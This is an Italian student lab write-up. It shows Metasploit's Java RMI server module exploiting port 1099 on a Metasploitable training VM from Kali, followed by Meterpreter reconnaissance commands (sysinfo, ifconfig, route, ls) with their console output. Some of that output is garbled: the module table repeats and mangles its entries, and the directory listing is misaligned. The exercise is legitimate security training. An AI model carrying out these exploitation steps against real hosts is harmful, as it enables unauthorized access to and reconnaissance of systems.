W16D4 Progetto fine modulo Exploit Metasploitable con Meterpreter

La nostra macchina di metasploitable presenta una vulnerabilità sulla porta 1099 di tipo *Java RMI* che sfrutteremo per avviare una sessione di meterpreter con la quale otterremo informazioni sulla macchina target da Kali.

```
(kali@ kali)-[~]
$ msfconsole

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```

Iniziamo con l'avvio di msfconsole

```
Matching Modules

# Name Disclosure Date Rank Check Description

0 auxiliary/gather/java_rmi_registry normal No Java RMI Registry Interfaces Enumeration

2 auxiliary/scanner/misc/java_rmi_server 2011-10-15 excellent Ves Java RMI Server Insecure Default Configuration Java Code Execution No Java RMI Server Insecure Endpoint Code Execution Scanner ANI Server Insecure Endpoint Code Execution Scanner excellent No Java RMI Server Insecure Default Configuration Java Code Execution No Java RMI Server Insecure Endpoint Code Execution Scanner excellent No Java RMI Server Insecure Endpoint Code Execution Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

 Continuiamo cercando l'exploit che intendiamo utilizzare nel nostro caso exploi/multi/misc/java_rmi_server

 Controlliamo i parametri che abbiamo a disposizione con il comando show options per vedere cosa configurare per eseguire l'exploit

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112

RHOSTS ⇒ 192.168.11.112

msf6 exploit(multi/misc/java_rmi_server) > EXPLOIT

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```

 Configuriamo quindi RHOSTS con l'indirizzo IP della macchina target e facciamo partire l'exploit

```
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter : java/linux
```

 Iniziamo ad ottenere informazioni partendo da quelle del sistema con il comando sysinfo

 Vediamo anche le informazioni sugli indirizzi della macchina con il comando ifconfig

- Vediamo le impostazioni di routing con il comando route

```
<u>meterpreter</u> > ls
Listing: /
                           Type Last modified
Mode
                  Size
                                                            Name
040666/rw-rw-rw-
                  4096
                           dir
                                 2012-05-13 23:35:33 -0400
                                                            bin
                                 2012-05-13 23:36:28 -0400
040666/rw-rw-rw-
                  1024
                           dir
                                                            boot
040666/rw-rw-rw- 4096
                           dir
                                 2010-03-16 18:55:51 -0400
                                                            cdrom
040666/rw-rw-rw- 13540
                                 2024-02-25 14:29:19 -0500
                           dir
                                 2024-02-25 14:29:25 -0500
040666/rw-rw-rw- 4096
                           dir
                                                            etc
040666/rw-rw-rw- 4096
                                 2010-04-16 02:16:02 -0400
                                                            home
040666/rw-rw-rw-
                  4096
                           dir
                                 2010-03-16 18:57:40 -0400
                                                            initrd
                                 2012-05-13 23:35:56 -0400
100666/rw-rw-rw-
                  7929183
                          fil
                                                             initrd.img
040666/rw-rw-rw-
                                 2012-05-13 23:35:22 -0400
                 4096
                                                            lib
                                 2010-03-16 18:55:15 -0400
040666/rw-rw-rw-
                  16384
                           dir
                                                            lost+found
040666/rw-rw-rw-
                  4096
                           dir
                                 2010-03-16 18:55:52 -0400
                                                            media
040666/rw-rw-rw- 4096
                                 2010-04-28 16:16:56 -0400
                           dir
100666/rw-rw-rw-
                  27451
                          fil
                                 2024-02-25 14:29:46 -0500
                                                            nohup.out
                                 2010-03-16 18:57:39 -0400
040666/rw-rw-rw-
                  4096
                          dir
                                                            opt
040666/rw-rw-rw- 0
                                 2024-02-25 14:29:04 -0500
                           dir
040666/rw-rw-rw- 4096
                                 2024-02-25 14:29:46 -0500
                          dir
                                                            root
040666/rw-rw-rw- 4096
                                 2012-05-13 21:54:53 -0400
                                                            sbin
040666/rw-rw-rw- 4096
                         dir
                                 2010-03-16 18:57:38 -0400
040666/rw-rw-rw- 0
                                 2024-02-25 14:29:05 -0500
                           dir
                                                            sys
040666/rw-rw-rw- 4096
                                 2024-02-17 06:04:11 -0500
                           dir
                                                            test_metasploit
040666/rw-rw-rw-
                  4096
                           dir
                                 2024-02-25 16:09:49 -0500
                  4096
                                 2010-04-28 00:06:37 -0400
040666/rw-rw-rw-
                           dir
                                                            usr
040666/rw-rw-rw-
                  4096
                                 2010-03-17 10:08:23 -0400
                           dir
                                                            var
                                 2008-04-10 12:55:41 -0400
100666/rw-rw-rw-
                  1987288 fil
                                                            vmlinuz
```

 E con il comando **Is** possiamo anche vedere le varie directory e file presenti sulla macchina